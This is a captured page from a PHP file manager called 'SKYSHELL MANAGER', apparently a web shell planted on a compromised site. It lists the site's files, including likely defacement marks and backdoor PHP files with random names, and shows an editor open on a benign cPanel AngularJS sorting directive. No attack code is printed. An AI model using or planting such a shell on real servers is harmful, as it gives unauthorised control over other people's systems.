📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: toggleSortDirective.js
/* # cjt/directives/toggleSortDirective.js Copyright(c) 2020 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited */ /* global define: false */ // ------------------------------------------------------------ // Developer notes: // ------------------------------------------------------------ // The concept for this construct was derived from: // http://nadeemkhedr.wordpress.com/2013/09/01/build-angularjs-grid-with-server-side-paging-sorting-filtering/ // Use with permission. // ------------------------------------------------------------ define( [ "angular", "cjt/core", "cjt/util/locale", "cjt/templates" // NOTE: Pre-load the template cache ], function(angular, CJT, LOCALE) { // Constants var ASCENDING = "asc"; var DESCENDING = "desc"; var DEFAULT_ASCENDING_TITLE = LOCALE.maketext("Ascending"); var DEFAULT_DESCENDING_TITLE = LOCALE.maketext("Descending"); var module = angular.module("cjt2.directives.toggleSort", [ "cjt2.templates" ]); /** * Directive that helps with column sorting for tabular datasets. * * @name toggleSort * @attribute {Binding} sortMeta Meta-Data Model where the current sort information is stored. * This object includes the following fields: * {String} sortBy - current field. * {String} sortDirection - current sort direction for that field. * {String} sortType - type of sort for that field. * @attribute {Value} sortField The name of the field in the model to sort when this is active. * @attribute {Value} [sortType] Optional, the type of sort to perform for this field. e.g. lexical, numeric, defaults to "" which lets the server decide the sort algorithm. * @attribute {Value} [sortReverse] Optional, if true, inverts the display logic for ascending and descending for the arrow. * @attribyte {Boolean} [sortReverseDefault] Optional. If given, the default sort for this column will be descending rather than ascending. * @attribute {Function} [onsort] Optional function triggered when a sort operation happens. Has the following callback signature: * * function sort(sortMeta) { * // your code * } * * where sortMeta has the same fields as the sortMeta attribute above. * @example * * In your markup: * * <div toggle-sort * onsort="sortList" * sort-meta="meta" * sort-field="db"> * Database * </div> * * <div toggle-sort * onsort="sortList" * sort-meta="meta" * sort-type="numeric" * sort-field="id"> * ID * </div> * * In your JavaScript initially set * * $scope.meta = { * sortBy: "id", * sortDirection: "asc", * sortType: "" * }; * * $scope.sortList = function(meta) { * // update html history * // trigger backend call * // apply a filter or some other * // operation based on the sort properties. * }; * */ module.directive("toggleSort", function() { var RELATIVE_PATH = "libraries/cjt2/directives/toggleSortDirective.phtml"; return { templateUrl: CJT.config.debug ? CJT.buildFullPath(RELATIVE_PATH) : RELATIVE_PATH, restrict: "EA", transclude: true, replace: true, scope: { sortMeta: "=", sortType: "@", sortField: "@", sortReverse: "@", sortAscendingTitle: "@", sortDescendingTitle: "@", sortReverseDefault: "@", onsort: "&" }, compile: function(element, attributes) { if (!attributes["sortAscendingTitle"]) { attributes["sortAscendingTitle"] = DEFAULT_ASCENDING_TITLE; } if (!attributes["sortDescendingTitle"]) { attributes["sortDescendingTitle"] = DEFAULT_DESCENDING_TITLE; } return function(scope, element, attributes) { /** * Get the title text for the sort direction control. * * @method getTitle */ scope.getTitle = function() { return _getDir() === ASCENDING ? attributes["sortAscendingTitle"] : attributes["sortDescendingTitle"]; }; /** * Gets the sort direction, as seen by the end user * * @method _getDir * @private * @return {String} A string corresponding to the sort direction. */ function _getDir() { return !angular.isDefined(scope.sortReverse) ? scope.sortMeta.sortDirection : scope.sortMeta.sortDirection === ASCENDING ? DESCENDING : ASCENDING; } scope.getDir = _getDir; /** * Sets the sort direction * * @method _setDir * @private * @param {String} newdir The new direction for the sorting. */ function _setDir(newdir) { scope.sortMeta.sortDirection = !angular.isDefined(scope.sortReverse) ? newdir : newdir === ASCENDING ? DESCENDING : ASCENDING; return _getDir(); } /** * Toggle the sort direction on the selected column */ scope.sort = function() { var meta = scope.sortMeta; if (meta.sortBy === scope.sortField) { meta.sortDirection = meta.sortDirection === ASCENDING ? DESCENDING : ASCENDING; // Just flipping this around, so no need to use the setter/getter } else { meta.sortBy = scope.sortField; _setDir( angular.isUndefined(scope.sortReverseDefault) ? ASCENDING : DESCENDING ); meta.sortType = scope.sortType; } // Make sure onsort exists on the parent scope before executing it var onsort = scope.onsort(); if (angular.isFunction(onsort)) { onsort(meta); } }; }; } }; }); } );
Save